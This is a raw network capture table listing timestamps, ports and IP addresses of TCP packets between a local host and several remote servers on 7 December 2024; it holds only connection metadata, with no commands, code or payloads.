Dec 7, 2024 18:26:22.369714022 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.369795084 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:22.369801998 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:22.401352882 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.401369095 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.448271036 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.451714039 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.495078087 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.518912077 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.525734901 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.525785923 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.525798082 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.526084900 CET	443	49712	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.526213884 CET	443	49712	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.526266098 CET	49712	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.526985884 CET	49712	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.527004004 CET	443	49712	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.539392948 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.539444923 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.539453983 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.552862883 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.553030968 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.553039074 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.567147970 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.567213058 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.567220926 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.581859112 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.581923008 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.581931114 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.592344999 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.592398882 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.592411995 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.604954958 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.605015039 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.605026007 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.617260933 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.617435932 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.617443085 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.629678011 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.629724979 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.629731894 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.641882896 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.641930103 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.641937017 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.653382063 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.653419971 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.653425932 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.697715044 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.697722912 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.719156027 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.719222069 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.719229937 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.721889019 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.721936941 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.721942902 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.730108023 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.730165005 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.730175018 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.736557961 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.736618042 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.736627102 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.748814106 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.748862028 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.748869896 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.760787964 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.760832071 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.760838985 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.772778988 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.772850037 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.772862911 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.784181118 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.784250975 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.784264088 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.795984983 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.796039104 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.796046972 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.806755066 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.806807041 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.806812048 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.819952011 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.820015907 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.820024014 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.829844952 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.829916954 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.829926968 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.839817047 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.839982033 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.839989901 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.849414110 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.849467993 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.849476099 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.858752012 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.858807087 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.858814955 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.868031025 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.868093014 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.868099928 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.877016068 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.877062082 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.877074003 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.885545015 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.885611057 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.885617971 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.895387888 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.895433903 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.895441055 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.903387070 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.903431892 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.903439045 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.908943892 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.908998013 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.909003973 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.915174007 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.915216923 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.915224075 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.920453072 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.920506954 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.920514107 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.926908016 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.926959038 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.926965952 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.932421923 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.932471991 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.932478905 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.937638998 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.937685966 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.937691927 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.942807913 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.942852020 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.942858934 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.948915005 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.948961020 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.948967934 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.953737974 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.953797102 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.953807116 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.959172964 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.959238052 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.959248066 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.964704990 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.964761972 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.964771032 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.969847918 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.969903946 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.969911098 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.970545053 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:22.970594883 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.970733881 CET	49708	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:22.970752954 CET	443	49708	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:23.731158018 CET	49729	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:23.731205940 CET	443	49729	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:23.731332064 CET	49729	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:23.731585979 CET	49729	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:23.731600046 CET	443	49729	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:23.988782883 CET	443	49717	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:23.989955902 CET	49717	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:23.989983082 CET	443	49717	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:23.990461111 CET	49717	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:23.990468025 CET	443	49717	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.151741028 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.152352095 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.152368069 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.152832031 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.152837992 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.153405905 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.153477907 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.153709888 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.153717995 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.153738976 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.153832912 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.153858900 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.154205084 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.154211998 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.154295921 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.154306889 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.154370070 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.154376984 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.154680014 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.154685020 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.259740114 CET	49730	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:24.259761095 CET	443	49730	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:24.259844065 CET	49730	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:24.262002945 CET	49730	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:24.262017012 CET	443	49730	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:24.424978018 CET	443	49717	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.425048113 CET	443	49717	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.425101995 CET	49717	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.426383018 CET	49731	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:26:24.426410913 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:24.426477909 CET	49731	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:26:24.426659107 CET	49717	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.426685095 CET	443	49717	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.426700115 CET	49717	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.426707029 CET	443	49717	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.428065062 CET	49731	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:26:24.428083897 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:24.429903030 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.429910898 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.429979086 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.430114985 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.430126905 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.591681004 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.591739893 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.591797113 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.592012882 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.592025042 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.592034101 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.592039108 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.592291117 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.592350960 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.592395067 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.592468023 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.592474937 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.592478991 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.592490911 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.592494011 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.592502117 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.592536926 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.592567921 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.592586994 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.592612982 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.593102932 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.593116045 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.593719959 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.593743086 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.593754053 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.593760014 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.595860004 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.595896959 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.595931053 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.595946074 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.595961094 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.595997095 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.596518993 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.596539021 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.596666098 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.596679926 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.597189903 CET	49735	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.597209930 CET	443	49735	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.597271919 CET	49735	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.597327948 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.597364902 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.597389936 CET	49735	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.597399950 CET	443	49735	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.597415924 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.597609997 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:24.597625017 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:24.767381907 CET	49698	443	192.168.2.7	104.98.116.138
Dec 7, 2024 18:26:24.767848015 CET	49737	443	192.168.2.7	104.98.116.138
Dec 7, 2024 18:26:24.767884016 CET	443	49737	104.98.116.138	192.168.2.7
Dec 7, 2024 18:26:24.767951965 CET	49737	443	192.168.2.7	104.98.116.138
Dec 7, 2024 18:26:24.769242048 CET	49737	443	192.168.2.7	104.98.116.138
Dec 7, 2024 18:26:24.769247055 CET	443	49737	104.98.116.138	192.168.2.7
Dec 7, 2024 18:26:24.887398958 CET	443	49698	104.98.116.138	192.168.2.7
Dec 7, 2024 18:26:25.241677046 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:25.241905928 CET	49740	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:25.361368895 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:25.361387014 CET	80	49740	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:25.361474037 CET	49740	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:25.361650944 CET	49740	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:25.451571941 CET	443	49729	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:25.452210903 CET	49729	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:25.452239990 CET	443	49729	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:25.452574968 CET	443	49729	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:25.453126907 CET	49729	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:25.453203917 CET	443	49729	142.250.181.68	192.168.2.7
Dec 7, 2024 18:26:25.481127977 CET	80	49740	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:25.495035887 CET	49729	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:25.767740011 CET	443	49730	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:25.767811060 CET	49730	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:25.771074057 CET	49730	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:25.771084070 CET	443	49730	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:25.771337032 CET	443	49730	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:25.813456059 CET	49730	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:25.859338045 CET	443	49730	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:26.238554001 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:26.238626003 CET	49731	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:26:26.240436077 CET	49731	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:26:26.240447998 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:26.240756035 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:26.280134916 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.280531883 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.280549049 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.281045914 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.281050920 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.284796000 CET	443	49730	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:26.284847975 CET	443	49730	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:26.284957886 CET	49730	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:26.284986973 CET	443	49730	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:26.285001993 CET	49730	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:26.285010099 CET	443	49730	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:26.291462898 CET	49731	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:26:26.327013969 CET	49741	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:26.327049971 CET	443	49741	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:26.327141047 CET	49741	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:26.327569962 CET	49741	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:26.327580929 CET	443	49741	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:26.460022926 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.460943937 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.461736917 CET	443	49735	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.461821079 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.499594927 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.499639988 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.500015974 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.500021935 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.500322104 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.500351906 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.500725985 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.500730991 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.500919104 CET	49735	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.500929117 CET	443	49735	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.502264977 CET	49735	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.502269983 CET	443	49735	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.504400015 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.504407883 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.504767895 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.504771948 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.640553951 CET	49745	443	192.168.2.7	142.250.201.14
Dec 7, 2024 18:26:26.640566111 CET	443	49745	142.250.201.14	192.168.2.7
Dec 7, 2024 18:26:26.640655041 CET	49745	443	192.168.2.7	142.250.201.14
Dec 7, 2024 18:26:26.640824080 CET	49745	443	192.168.2.7	142.250.201.14
Dec 7, 2024 18:26:26.640830040 CET	443	49745	142.250.201.14	192.168.2.7
Dec 7, 2024 18:26:26.742245913 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.742315054 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.742403984 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.742527008 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.742542028 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.742563009 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.742567062 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.745398998 CET	49746	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.745439053 CET	443	49746	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.745552063 CET	49746	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.745708942 CET	49746	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.745721102 CET	443	49746	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.894023895 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.894088030 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.894166946 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.894359112 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.894376993 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.894387007 CET	49736	443	192.168.2.7	13.107.246.63
